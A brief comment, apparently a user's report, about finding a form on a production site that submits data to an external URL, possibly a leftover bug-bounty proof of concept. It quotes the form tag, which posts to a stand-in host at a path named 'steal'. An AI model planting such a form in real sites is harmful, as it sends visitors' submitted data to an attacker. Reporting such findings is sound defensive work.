I had already analyzed the code myself, and the form points to an invalid external URL.
It could even be a bug bounty proof-of-concept, but things like this shouldn’t be left on a production site.
form action=“https://poc-showcase.invalid/steal” method=“POST”
This could be discovered—as indeed it has been—and might already be in use. Furthermore, it causes damage to my original model.